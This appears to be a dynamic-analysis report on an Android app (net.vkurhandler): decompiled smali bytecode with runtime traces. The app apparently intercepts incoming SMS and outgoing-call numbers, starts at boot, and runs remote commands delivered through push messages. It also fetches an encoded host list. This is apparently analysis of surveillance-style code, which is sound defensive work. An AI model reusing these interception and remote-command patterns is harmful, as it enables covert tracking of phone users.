                    64invoke-virtual {p1}, Lnet/vkurhandler/be;->e()Ljava/lang/String;
                    65move-result-object v3
                    67invoke-virtual {v1, v2, v3}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
                    68cond_58:
                    69invoke-static {p2}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                    70move-result v2
                    71if-nez v2, :cond_63
                    73const-string v2, "temp_location_item_id"
                    75invoke-virtual {v1, v2, p2}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
                    76cond_63:
                    77const-string v2, "history"
                    78const/4 v3, 0x0
                    80invoke-virtual {v0, v2, v3, v1}, Landroid/database/sqlite/SQLiteDatabase;->insert(Ljava/lang/String;Ljava/lang/String;Landroid/content/ContentValues;)J
                    81const/4 v0, 0x2
                    82new-array v0, v0, [Lnet/vkurhandler/be;
                    83const/4 v1, 0x0
                    84aput-object p0, v0, v1
                    85const/4 v1, 0x1
                    86aput-object p1, v0, v1
                    88invoke-static {v0}, Lnet/vkurhandler/be;->a([Lnet/vkurhandler/be;)V
                    89try_end_75:
                    90invoke-static {}, Lnet/vkurhandler/ao;->a()Lnet/vkurhandler/ao;
                    91move-result-object v0
                    93invoke-virtual {v0}, Lnet/vkurhandler/ao;->c()V
                    94goto_7c: return-void
                    95catch_7d: move-exception v0
                    96try_start_7e:
                    97const-string v1, "ItemHelper"
                    99invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    100try_end_83:
                    101invoke-static {}, Lnet/vkurhandler/ao;->a()Lnet/vkurhandler/ao;
                    102move-result-object v0
                    104invoke-virtual {v0}, Lnet/vkurhandler/ao;->c()V
                    105goto/16 :goto_7c
                    106catchall_8b: move-exception v0
                    108invoke-static {}, Lnet/vkurhandler/ao;->a()Lnet/vkurhandler/ao;
                    109move-result-object v1
                    111invoke-virtual {v1}, Lnet/vkurhandler/ao;->c()V
                    112throw v0
                    Cross References
                    APIs
                    • java.lang.StringBuilder.<init>
                    • android.content.Intent.getAction
                    • android.content.Intent.getExtras
                    • android.os.Bundle.keySet
                    • java.util.Set.iterator
                    • java.util.Iterator.hasNext
                    • java.lang.StringBuilder.toString
                    • java.lang.String.format
                    • java.util.Iterator.next
                    • android.os.Bundle.get
                    • java.lang.StringBuilder.append
                    • java.lang.Object.toString
                    • java.lang.Object.getClass
                    • java.lang.Class.getName
                    • java.lang.String.format
                    • java.lang.StringBuilder.append
                    Strings
                    • android.intent.action.BOOT_COMPLETED
                    • android.intent.action.NEW_OUTGOING_CALL
                    • android.provider.Telephony.SMS_RECEIVED
                    • com.google.android.c2dm.intent.REGISTRATION
                    • message:%s,action:%s,bundle:%s
                    • \n
                    • k:%s,v:%s (%s)
                    Position Instruction Meta Information
                    0const/4 v12, 0x3
                    1const/4 v11, 0x2
                    2const/4 v10, 0x1
                    3const/4 v9, 0x0
                    4const/4 v0, 0x0
                    5new-instance v2, Ljava/lang/StringBuilder;
                    7invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                    8if-eqz p2, :cond_25
                    10invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                    • Time: 1276673
                      • This:
                        • Intent { cmp=net.vkurhandler/.DispatchService }
                      • Return:
                        • null
                    • Time: 1277131
                      • This:
                        • Intent { act=com.google.android.c2dm.intent.REGISTRATION flg=0x10 pkg=net.vkurhandler cmp=net.vkurhandler/.GCMReceiver (has extras) }
                      • Return:
                        • com.google.android.c2dm.intent.REGISTRATION
                    • Time: 1396363
                      • This:
                        • Intent { act=android.intent.action.BOOT_COMPLETED }
                      • Return:
                        • android.intent.action.BOOT_COMPLETED
                    • Time: 1402377
                      • This:
                        • Intent { act=android.provider.Telephony.SMS_RECEIVED (has extras) }
                      • Return:
                        • android.provider.Telephony.SMS_RECEIVED
                    • Time: 1428408
                      • This:
                        • Intent { act=android.intent.action.NEW_OUTGOING_CALL (has extras) }
                      • Return:
                        • android.intent.action.NEW_OUTGOING_CALL
                    11move-result-object v1
                    13invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
                    • Time: 1276708
                      • This:
                        • Intent { cmp=net.vkurhandler/.DispatchService }
                      • Return:
                        • null
                    • Time: 1277187
                      • This:
                        • Intent { act=com.google.android.c2dm.intent.REGISTRATION flg=0x10 pkg=net.vkurhandler cmp=net.vkurhandler/.GCMReceiver (has extras) }
                      • Return:
                        • Bundle[mParcelledData.dataSize=72]
                    • Time: 1402383
                      • This:
                        • Intent { act=android.provider.Telephony.SMS_RECEIVED (has extras) }
                      • Return:
                        • Bundle[{format=3gpp, pdus=[Ljava.lang.Object;@d6d1da3}]
                    • Time: 1428411
                      • This:
                        • Intent { act=android.intent.action.NEW_OUTGOING_CALL (has extras) }
                      • Return:
                        • Bundle[{android.intent.extra.PHONE_NUMBER=9876543210}]
                    14move-result-object v3
                    15if-eqz v3, :cond_24
                    17invoke-virtual {v3}, Landroid/os/Bundle;->keySet()Ljava/util/Set;
                    18move-result-object v0
                    20invoke-interface {v0}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                    21move-result-object v4
                    22cond_1e:
                    23invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
                    24move-result v0
                    25if-nez v0, :cond_3b
                    26cond_24: move-object v0, v1
                    27cond_25:
                    28const-string v1, "message:%s,action:%s,bundle:%s"
                    29new-array v3, v12, [Ljava/lang/Object;
                    30aput-object p1, v3, v9
                    31aput-object v0, v3, v10
                    33invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    34move-result-object v0
                    35aput-object v0, v3, v11
                    37invoke-static {v1, v3}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                    38move-result-object v0
                    40invoke-static {p0, v0}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    41return-void
                    42cond_3b:
                    43invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                    44move-result-object v0
                    45check-cast v0, Ljava/lang/String;
                    47invoke-virtual {v3, v0}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object;
                    48move-result-object v5
                    49if-eqz v5, :cond_1e
                    51const-string v6, "\n"
                    53invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    54move-result-object v6
                    56const-string v7, "k:%s,v:%s (%s)"
                    57new-array v8, v12, [Ljava/lang/Object;
                    58aput-object v0, v8, v9
                    60invoke-virtual {v5}, Ljava/lang/Object;->toString()Ljava/lang/String;
                    61move-result-object v0
                    62aput-object v0, v8, v10
                    64invoke-virtual {v5}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                    • Time: 1277196
                      • This:
                        • SERVICE_NOT_AVAILABLE
                      • Return:
                        • class java.lang.String
                        • getName: java.lang.String
                    • Time: 1402392
                      • This:
                        • [Ljava.lang.Object;@d6d1da3
                        • Arrays.toString:[[B@974c59]
                      • Return:
                        • class [Ljava.lang.Object;
                        • getName: [Ljava.lang.Object;
                    65move-result-object v0
                    67invoke-virtual {v0}, Ljava/lang/Class;->getName()Ljava/lang/String;
                    68move-result-object v0
                    69aput-object v0, v8, v11
                    71invoke-static {v7, v8}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                    72move-result-object v0
                    74invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    75goto/16 :goto_1e
                    Cross References
                    APIs
                    • android.content.Context.getApplicationContext
                    • net.vkurhandler.MyApp.t
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • net.vkurhandler.MyApp.v
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • android.content.Intent.<init>
                    • android.content.Context.sendBroadcast
                    Strings
                    • module
                    • device
                    • action
                    • update_gcm_key
                    • device_id
                    • gcm_key
                    • GCMReceiver
                    • GCM Key is null
                    • success_gcm_key
                    • gcm_error_registered
                    Position Instruction Meta Information
                    1invoke-virtual {p1}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                    • Time: 1277227
                      • This:
                        • android.app.ReceiverRestrictedContext@6eb1a9e
                      • Return:
                        • net.vkurhandler.MyApp@133c58d
                    2move-result-object v0
                    3check-cast v0, Lnet/vkurhandler/MyApp;
                    5invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->t()Landroid/content/SharedPreferences;
                    6move-result-object v1
                    7if-eqz p2, :cond_3a
                    8new-instance v2, Lorg/json/JSONObject;
                    10invoke-direct {v2}, Lorg/json/JSONObject;-><init>()V
                    12const-string v3, "module"
                    14const-string v4, "device"
                    16invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    18const-string v3, "action"
                    20const-string v4, "update_gcm_key"
                    22invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    24const-string v3, "device_id"
                    26invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->v()Lnet/vkurhandler/Mobile;
                    27move-result-object v0
                    29invoke-virtual {v0}, Lnet/vkurhandler/Mobile;->h()Ljava/lang/String;
                    30move-result-object v0
                    32invoke-virtual {v2, v3, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    34const-string v0, "gcm_key"
                    36invoke-virtual {v2, v0, p2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    37new-instance v0, Lnet/vkurhandler/bb;
                    39invoke-direct {v0, p0, v1, p1}, Lnet/vkurhandler/bb;-><init>(Lnet/vkurhandler/GCMReceiver;Landroid/content/SharedPreferences;Landroid/content/Context;)V
                    41invoke-static {p1, v2, v0}, Lnet/vkurhandler/ea;->a(Landroid/content/Context;Lorg/json/JSONObject;Lcom/a/a/a/h;)V
                    42goto_39: return-void
                    43cond_3a:
                    44invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    45move-result v0
                    46if-eqz v0, :cond_47
                    48const-string v0, "GCMReceiver"
                    50const-string v2, "GCM Key is null"
                    52invoke-static {v0, v2}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    53cond_47:
                    54invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    55move-result-object v0
                    57const-string v1, "success_gcm_key"
                    58const/4 v2, 0x0
                    60invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    61move-result-object v0
                    63invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    64new-instance v0, Landroid/content/Intent;
                    66const-string v1, "gcm_error_registered"
                    68invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                    70invoke-virtual {p1, v0}, Landroid/content/Context;->sendBroadcast(Landroid/content/Intent;)V
                    71goto/16 :goto_39
                    APIs
                    • android.content.Intent.getAction
                    • java.lang.String.equals
                    • android.content.Intent.getStringExtra
                    • net.vkurhandler.GCMReceiver.a
                    • java.lang.String.equals
                    • android.content.Intent.getStringExtra
                    • android.content.Intent.getStringExtra
                    • android.content.Intent.getStringExtra
                    • android.content.Intent.getStringExtra
                    • android.text.TextUtils.isEmpty
                    • android.text.TextUtils.isDigitsOnly
                    Strings
                    • GCMReceiver
                    • onReceive
                    • com.google.android.c2dm.intent.REGISTRATION
                    • registration_id
                    • com.google.android.c2dm.intent.RECEIVE
                    • command
                    • params
                    • command_id
                    • command_list_id
                    • command_id not digit
                    Position Instruction Meta Information
                    1invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    2move-result v0
                    3if-eqz v0, :cond_d
                    5const-string v0, "GCMReceiver"
                    7const-string v1, "onReceive"
                    9invoke-static {v0, v1, p2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/String;Landroid/content/Intent;)V
                    10cond_d:
                    11invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                    • Time: 1277211
                      • This:
                        • Intent { act=com.google.android.c2dm.intent.REGISTRATION flg=0x10 pkg=net.vkurhandler cmp=net.vkurhandler/.GCMReceiver (has extras) }
                      • Return:
                        • com.google.android.c2dm.intent.REGISTRATION
                    12move-result-object v0
                    14const-string v1, "com.google.android.c2dm.intent.REGISTRATION"
                    16invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    17move-result v1
                    18if-eqz v1, :cond_23
                    20const-string v0, "registration_id"
                    22invoke-virtual {p2, v0}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                    • Time: 1277221
                      • This:
                        • Intent { act=com.google.android.c2dm.intent.REGISTRATION flg=0x10 pkg=net.vkurhandler cmp=net.vkurhandler/.GCMReceiver (has extras) }
                      • p0: registration_id
                      • Return:
                        • null
                    23move-result-object v0
                    25invoke-direct {p0, p1, v0}, Lnet/vkurhandler/GCMReceiver;->a(Landroid/content/Context;Ljava/lang/String;)V
                    26goto_22: return-void
                    27cond_23:
                    28const-string v1, "com.google.android.c2dm.intent.RECEIVE"
                    30invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    31move-result v0
                    32if-eqz v0, :cond_22
                    34const-string v0, "command"
                    36invoke-virtual {p2, v0}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                    37move-result-object v2
                    39const-string v0, "params"
                    41invoke-virtual {p2, v0}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                    42move-result-object v3
                    44const-string v0, "command_id"
                    46invoke-virtual {p2, v0}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                    47move-result-object v0
                    49const-string v1, "command_list_id"
                    51invoke-virtual {p2, v1}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                    52move-result-object v4
                    53if-nez v0, :cond_66
                    54goto_45:
                    55invoke-static {v4}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                    56move-result v0
                    57if-nez v0, :cond_51
                    59invoke-static {v4}, Landroid/text/TextUtils;->isDigitsOnly(Ljava/lang/CharSequence;)Z
                    60move-result v0
                    61if-nez v0, :cond_68
                    62cond_51:
                    63invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    64move-result v0
                    65if-eqz v0, :cond_22
                    67const-string v0, "GCMReceiver"
                    69const-string v1, "command_id not digit"
                    71invoke-static {v0, v1}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    72try_end_5e: goto/16 :goto_22
                    73catch_5f: move-exception v0
                    75const-string v1, "GCMReceiver"
                    77invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    78goto/16 :goto_22
                    79cond_66: move-object v4, v0
                    80goto/16 :goto_45
                    81cond_68:
                    82invoke-static {v2}, Lnet/vkurhandler/dv;->a(Ljava/lang/String;)Z
                    83move-result v0
                    84if-eqz v0, :cond_72
                    86invoke-static {p1, v2, v3, v4}, Lnet/vkurhandler/dv;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                    87goto/16 :goto_22
                    88cond_72: new-instance v0, Lnet/vkurhandler/ah;
                    89const/4 v5, 0x1
                    90const/4 v6, 0x0
                    91move-object v1, p1
                    93invoke-direct/range {v0 .. v6}, Lnet/vkurhandler/ah;-><init>(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;ILjava/lang/String;)V
                    95invoke-static {v0}, Lnet/vkurhandler/ah;->a(Ljava/lang/Runnable;)V
                    96try_end_7d: goto/16 :goto_22
                    Cross References
                    APIs
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.lang.String.<init>
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.getBoolean
                    • org.json.JSONObject.has
                    • org.json.JSONObject.getJSONArray
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    Strings
                    • http://
                    • {"s":true,"a":["cnAudHJhY2tvbmxpbmUuY29tLnVh"]}
                    • Proxier
                    • response
                    • s
                    • a
                    • host
                    • not allowed
                    Position Instruction Meta Information
                    0new-instance v0, Lnet/vkurhandler/gb;
                    2invoke-direct {v0}, Lnet/vkurhandler/gb;-><init>()V
                    3new-instance v1, Ljava/lang/StringBuilder;
                    5const-string v2, "http://"
                    7invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    9invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    10move-result-object v1
                    12sget-object v2, Lnet/vkurhandler/dc;->c:Ljava/lang/String;
                    14invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    15move-result-object v1
                    17invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    18move-result-object v1
                    19sget v2, Lnet/vkurhandler/ea;->a:I
                    20new-instance v3, Lcom/a/a/a/v;
                    22invoke-direct {v3}, Lcom/a/a/a/v;-><init>()V
                    24invoke-static {p0, v1, v2, v3, v0}, Lnet/vkurhandler/ea;->b(Landroid/content/Context;Ljava/lang/String;ILcom/a/a/a/v;Lcom/a/a/a/h;)V
                    26invoke-virtual {v0}, Lnet/vkurhandler/gb;->i()[B
                    27move-result-object v0
                    28if-eqz v0, :cond_64
                    29array-length v1, v0
                    30if-lez v1, :cond_64
                    31new-instance v1, Ljava/lang/String;
                    33invoke-direct {v1, v0}, Ljava/lang/String;-><init>([B)V
                    • Time: 1275118
                      • This:
                        • {"s":true,"a":["cnAudHJhY2tvbmxpbmUuY29tLnVh"]}
                      • p0: [B@41e5693
                      • p0: {"s":true,"a":["cnAudHJhY2tvbmxpbmUuY29tLnVh"]}
                      • p0: EFBBBF7B2273223A747275652C2261223A5B22636E417564484A6859327476626D7870626D5575593239744C6E5668225D7D
                      • Return:
                        • {"s":true,"a":["cnAudHJhY2tvbmxpbmUuY29tLnVh"]}
                    35invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    36move-result v0
                    37if-eqz v0, :cond_48
                    39const-string v0, "Proxier"
                    40const/4 v2, 0x2
                    41new-array v2, v2, [Ljava/lang/String;
                    42const/4 v3, 0x0
                    44const-string v4, "response "
                    45aput-object v4, v2, v3
                    46const/4 v3, 0x1
                    47aput-object v1, v2, v3
                    49invoke-static {v0, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;[Ljava/lang/String;)V
                    50cond_48: new-instance v0, Lorg/json/JSONObject;
                    52invoke-direct {v0, v1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                    • Time: 1275162
                      • p0: {"s":true,"a":["cnAudHJhY2tvbmxpbmUuY29tLnVh"]}
                      • Return:
                        • {"s":true,"a":["cnAudHJhY2tvbmxpbmUuY29tLnVh"]}
                    54const-string v1, "s"
                    56invoke-virtual {v0, v1}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z
                    57move-result v1
                    58if-eqz v1, :cond_84
                    60const-string v1, "a"
                    62invoke-virtual {v0, v1}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z
                    • Time: 1275171
                      • This:
                        • {"s":true,"a":["cnAudHJhY2tvbmxpbmUuY29tLnVh"]}
                      • p0: a
                      • Return:
                        • true
                    63move-result v1
                    64if-eqz v1, :cond_84
                    66const-string v1, "a"
                    68invoke-virtual {v0, v1}, Lorg/json/JSONObject;->getJSONArray(Ljava/lang/String;)Lorg/json/JSONArray;
                    69move-result-object v0
                    70goto_63: return-object v0
                    71cond_64:
                    72invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    73move-result v0
                    74if-eqz v0, :cond_84
                    76const-string v0, "Proxier"
                    77new-instance v1, Ljava/lang/StringBuilder;
                    79const-string v2, "host "
                    81invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    83invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    84move-result-object v1
                    86const-string v2, " not allowed"
                    88invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    89move-result-object v1
                    91invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    92move-result-object v1
                    94invoke-static {v0, v1}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    95cond_84: const/4 v0, 0x0
                    96goto/16 :goto_63
                    Cross References
                    APIs
                    • java.lang.String.replace
                    • java.lang.String.trim
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.String.contains
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    Strings
                    • %20
                    • ?
                    • &
                    Position Instruction Meta Information
                    0if-nez p1, :cond_4
                    1const/4 v0, 0x0
                    2cond_3: return-object v0
                    3cond_4: if-eqz p0, :cond_58
                    5const-string v0, " "
                    7const-string v1, "%20"
                    9invoke-virtual {p1, v0, v1}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
                    10move-result-object v0
                    11goto_e: if-eqz p2, :cond_3
                    13invoke-virtual {p2}, Lcom/a/a/a/v;->b()Ljava/lang/String;
                    14move-result-object v1
                    16invoke-virtual {v1}, Ljava/lang/String;->trim()Ljava/lang/String;
                    17move-result-object v1
                    19const-string v2, ""
                    21invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    22move-result v2
                    23if-nez v2, :cond_3
                    25const-string v2, "?"
                    27invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    28move-result v2
                    29if-nez v2, :cond_3
                    30new-instance v2, Ljava/lang/StringBuilder;
                    32invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                    34invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    35move-result-object v2
                    37const-string v3, "?"
                    39invoke-virtual {v0, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                    40move-result v0
                    41if-eqz v0, :cond_55
                    43const-string v0, "&"
                    44goto_3b:
                    45invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    46move-result-object v0
                    48invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    49move-result-object v0
                    50new-instance v2, Ljava/lang/StringBuilder;
                    52invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                    54invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    55move-result-object v0
                    57invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    58move-result-object v0
                    60invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    61move-result-object v0
                    62goto/16 :goto_3
                    63cond_55:
                    64const-string v0, "?"
                    65goto/16 :goto_3b
                    66cond_58: move-object v0, p1
                    67goto/16 :goto_e
                    Cross References
                    APIs
                    • net.vkurhandler.DispatchService.getApplicationContext
                    • java.lang.String.<init>
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.has
                    • org.json.JSONObject.getJSONObject
                    • org.json.JSONObject.has
                    • org.json.JSONObject.getBoolean
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    Strings
                    • {"response":{"error":"incorrect_device_id","success":false}}
                    • DispatchService
                    • response
                    • response
                    • success
                    • response data is empty
                    • responseStatusCode
                    Position Instruction Meta Information
                    0const/4 v0, 0x1
                    1const/4 v1, 0x0
                    2const/4 v2, -0x1
                    3try_start_3: new-instance v3, Lnet/vkurhandler/gb;
                    5invoke-direct {v3}, Lnet/vkurhandler/gb;-><init>()V
                    7invoke-virtual {p0}, Lnet/vkurhandler/DispatchService;->getApplicationContext()Landroid/content/Context;
                    • Time: 1277843
                      • This:
                        • net.vkurhandler.DispatchService@eda8525
                      • Return:
                        • net.vkurhandler.MyApp@133c58d
                    8move-result-object v4
                    10invoke-static {v4, p1, v3}, Lnet/vkurhandler/ea;->b(Landroid/content/Context;Lorg/json/JSONObject;Lcom/a/a/a/h;)V
                    12invoke-virtual {v3}, Lnet/vkurhandler/gb;->h()I
                    13move-result v2
                    15invoke-virtual {v3}, Lnet/vkurhandler/gb;->i()[B
                    16move-result-object v3
                    17if-eqz v3, :cond_5e
                    18array-length v4, v3
                    19if-lez v4, :cond_5e
                    20new-instance v4, Ljava/lang/String;
                    22invoke-direct {v4, v3}, Ljava/lang/String;-><init>([B)V
                    • Time: 1278684
                      • This:
                        • {"response":{"error":"incorrect_device_id","success":false}}
                      • p0: [B@cac7d1
                      • p0: {"response":{"error":"incorrect_device_id","success":false}}
                      • p0: 7B22726573706F6E7365223A7B226572726F72223A22696E636F72726563745F6465766963655F6964222C2273756363657373223A66616C73657D7D
                      • Return:
                        • {"response":{"error":"incorrect_device_id","success":false}}
                    • Time: 1411132
                      • This:
                        • {"response":{"error":"incorrect_device_id","success":false}}
                      • p0: [B@f510bec
                      • p0: {"response":{"error":"incorrect_device_id","success":false}}
                      • p0: 7B22726573706F6E7365223A7B226572726F72223A22696E636F72726563745F6465766963655F6964222C2273756363657373223A66616C73657D7D
                      • Return:
                        • {"response":{"error":"incorrect_device_id","success":false}}
                    • Time: 1412333
                      • This:
                        • {"response":{"error":"incorrect_device_id","success":false}}
                      • p0: [B@3d85652
                      • p0: {"response":{"error":"incorrect_device_id","success":false}}
                      • p0: 7B22726573706F6E7365223A7B226572726F72223A22696E636F72726563745F6465766963655F6964222C2273756363657373223A66616C73657D7D
                      • Return:
                        • {"response":{"error":"incorrect_device_id","success":false}}
                    24invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    25move-result v3
                    26if-eqz v3, :cond_37
                    28const-string v3, "DispatchService"
                    29const/4 v5, 0x2
                    30new-array v5, v5, [Ljava/lang/String;
                    31const/4 v6, 0x0
                    33const-string v7, "response "
                    34aput-object v7, v5, v6
                    35const/4 v6, 0x1
                    36aput-object v4, v5, v6
                    38invoke-static {v3, v5}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;[Ljava/lang/String;)V
                    39cond_37: new-instance v3, Lorg/json/JSONObject;
                    41invoke-direct {v3, v4}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                    • Time: 1278718
                      • p0: {"response":{"error":"incorrect_device_id","success":false}}
                      • Return:
                        • {"response":{"error":"incorrect_device_id","success":false}}
                    43const-string v4, "response"
                    45invoke-virtual {v3, v4}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z
                    • Time: 1278728
                      • This:
                        • {"response":{"error":"incorrect_device_id","success":false}}
                      • p0: response
                      • Return:
                        • true
                    46move-result v4
                    47if-eqz v4, :cond_5b
                    49const-string v4, "response"
                    51invoke-virtual {v3, v4}, Lorg/json/JSONObject;->getJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                    52move-result-object v3
                    54const-string v4, "success"
                    56invoke-virtual {v3, v4}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z
                    • Time: 1278731
                      • This:
                        • {"error":"incorrect_device_id","success":false}
                      • p0: success
                      • Return:
                        • true
                    57move-result v4
                    58if-eqz v4, :cond_5c
                    60const-string v4, "success"
                    62invoke-virtual {v3, v4}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z
                    63move-result v2
                    64if-eqz v2, :cond_5c
                    65goto_5a: move v1, v0
                    66goto_5b: return v1
                    67cond_5c: move v0, v1
                    68goto/16 :goto_5a
                    69cond_5e:
                    70invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    71move-result v0
                    72if-eqz v0, :cond_5b
                    74const-string v0, "DispatchService"
                    76const-string v3, "response data is empty"
                    78invoke-static {v0, v3}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    79try_end_6b: goto/16 :goto_5b
                    80catch_6c: move-exception v0
                    82const-string v3, "DispatchService"
                    84invoke-static {v3, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    86invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    87move-result v0
                    88if-eqz v0, :cond_5b
                    90const-string v0, "DispatchService"
                    91new-instance v3, Ljava/lang/StringBuilder;
                    93const-string v4, "responseStatusCode "
                    95invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
